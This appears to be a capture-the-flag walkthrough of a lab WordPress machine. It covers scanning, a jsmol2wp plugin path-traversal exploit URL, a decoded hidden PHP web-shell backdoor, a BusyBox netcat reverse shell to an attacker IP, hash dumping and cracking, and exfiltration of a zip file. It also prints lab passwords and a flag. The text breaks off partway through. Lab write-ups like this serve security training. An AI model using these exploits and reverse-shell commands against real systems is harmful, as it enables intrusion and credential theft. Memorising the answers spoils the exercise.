The first step was scanning the target machine to identify running services. I used nmap to perform a service version scan:
nmap -sC -sV 10.201.2.67
Scan Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp open http Apache httpd 2.4.41 (Ubuntu)
So far, I discovered ssh
and http
(WordPress website) services running.
I added the target domain to my /etc/hosts
for convenience:
echo "10.201.2.67 www.smol.thm" | sudo tee -a /etc/hosts
Next, I navigated to the website in my browser. Using the Wappalyzer extension, I confirmed that the website was built with WordPress.
Press enter or click to view image in full size
I ran WPScan to enumerate installed plugins, themes, and other useful information:
wpscan --url http://www.smol.thm/
Here are some interesting findings:
jsmol2wp
(Version 1.07)That jsmol2wp
plugin looked particularly interesting, so I searched online for known vulnerabilities.
Press enter or click to view image in full size
I found a public PoC (Proof of Concept) that allows us to read the wp-config.php
file, which contains sensitive information like database credentials.
Using the known PoC, I modified the URL to execute the exploit:
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php
Upon visiting the URL, I successfully retrieved the content of the wp-config.php
file, which revealed database username and password.
Armed with the database credentials I retrieved earlier, I headed to the WordPress admin login page:
http://www.smol.thm/wp-admin
I successfully logged in using the following credentials:
Once inside the dashboard,
Press enter or click to view image in full size
I noticed one page and three posts available. I decided to investigate the page titled “Webmaster Tasks!!” which seemed interesting.
Press enter or click to view image in full size
Press enter or click to view image in full size
The page instructed me to check the code of the “Holly Dolly” plugin. A quick search on GitHub revealed that plugin source code typically includes a file called hello.php
.
Based on prior knowledge of vulnerable plugin structures, I assumed the URL pattern looked like this:
/wp-content/plugins/jsmol2wp/php/jsmol.php
After several failed attempts, I managed to crack the correct URL to access the hidden page:
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-content/plugins/hello.php
Upon visiting the URL, I discovered a base64-encoded string embedded in the page source.
Press enter or click to view image in full size
I copied the encoded string and decoded it using:
echo "CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA=" | base64 -d
The decoded content was:
if (isset($_GET["cmd"])) { system($_GET["cmd"]); }
This confirmed an arbitrary command execution vulnerability via the cmd
parameter.
Next, I visited revshells.com, looked for a simple BusyBox reverse shell, and copied the following command:
busybox nc <attacker-ip> 4444 -e sh
I started a netcat listener on my AttackBox:
nc -lvnp 4444
Then I triggered the reverse shell by visiting:
http://www.smol.thm/wp-admin/edit.php?cmd=busybox nc 10.17.30.120 4444 -e sh
I immediately received a shell connection:
www-data@ip-10-201-2-67:/var/www/wordpress/wp-admin$
To stabilize the shell, I ran:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
(ctrl + z)
stty raw -echo; fg
Now I had a fully interactive shell.
At first glance, nothing interesting popped up. But then I remembered the database credentials from the wp-config.php
. I tried logging into MySQL:
mysql -u wpuser -p
Entered the password:
kbLSF2Vop#lw3rjDZ629*Z%G
Successful login!
Next, I listed the databases:
show databases;
Output:
| wordpress |
| information_schema |
| mysql |
| performance_schema |
| sys |
I switched to the wordpress
database:
use wordpress;
show tables;
Among the tables, the wp_users
table stood out. I ran:
select * from wp_users;
This revealed several password hashes. I copied all of them into a file named wordpress_hashes.txt
.
Using John the Ripper, I attempted to crack the hashes:
john --wordlist=/usr/share/wordlists/rockyou.txt wordpress_hashes.txt
After some time, I retrieved a valid password for user diego
:
I switched to the diego
user:
su diego
Entered the password:
sandiegocalifornia
Then I checked the home directory and found the user.txt
file:
cat /home/diego/user.txt
output:
45edaec653ff9ee06236b7ce72b86963
From think@ip-10-201-2-67
, I switched to gege
:
su gege
Inside /home/gege
, the wordpress.old.zip
file was present.
To extract the file, I started a Python HTTP server:
python3 -m http.server 9999
On my AttackBox, I downloaded the zip file:
wget http://10.201.2.67:9999/wordpress.old.zip
I used zip2john
to prepare the file for cracking:
zip2john wordpress.old.zip > wp.txt
Then ran John the Ripper to crack the zip password:
john wp.txt -w=/usr/share/wordlists/rockyou.txt
Success! The cracked password was:
[email protected]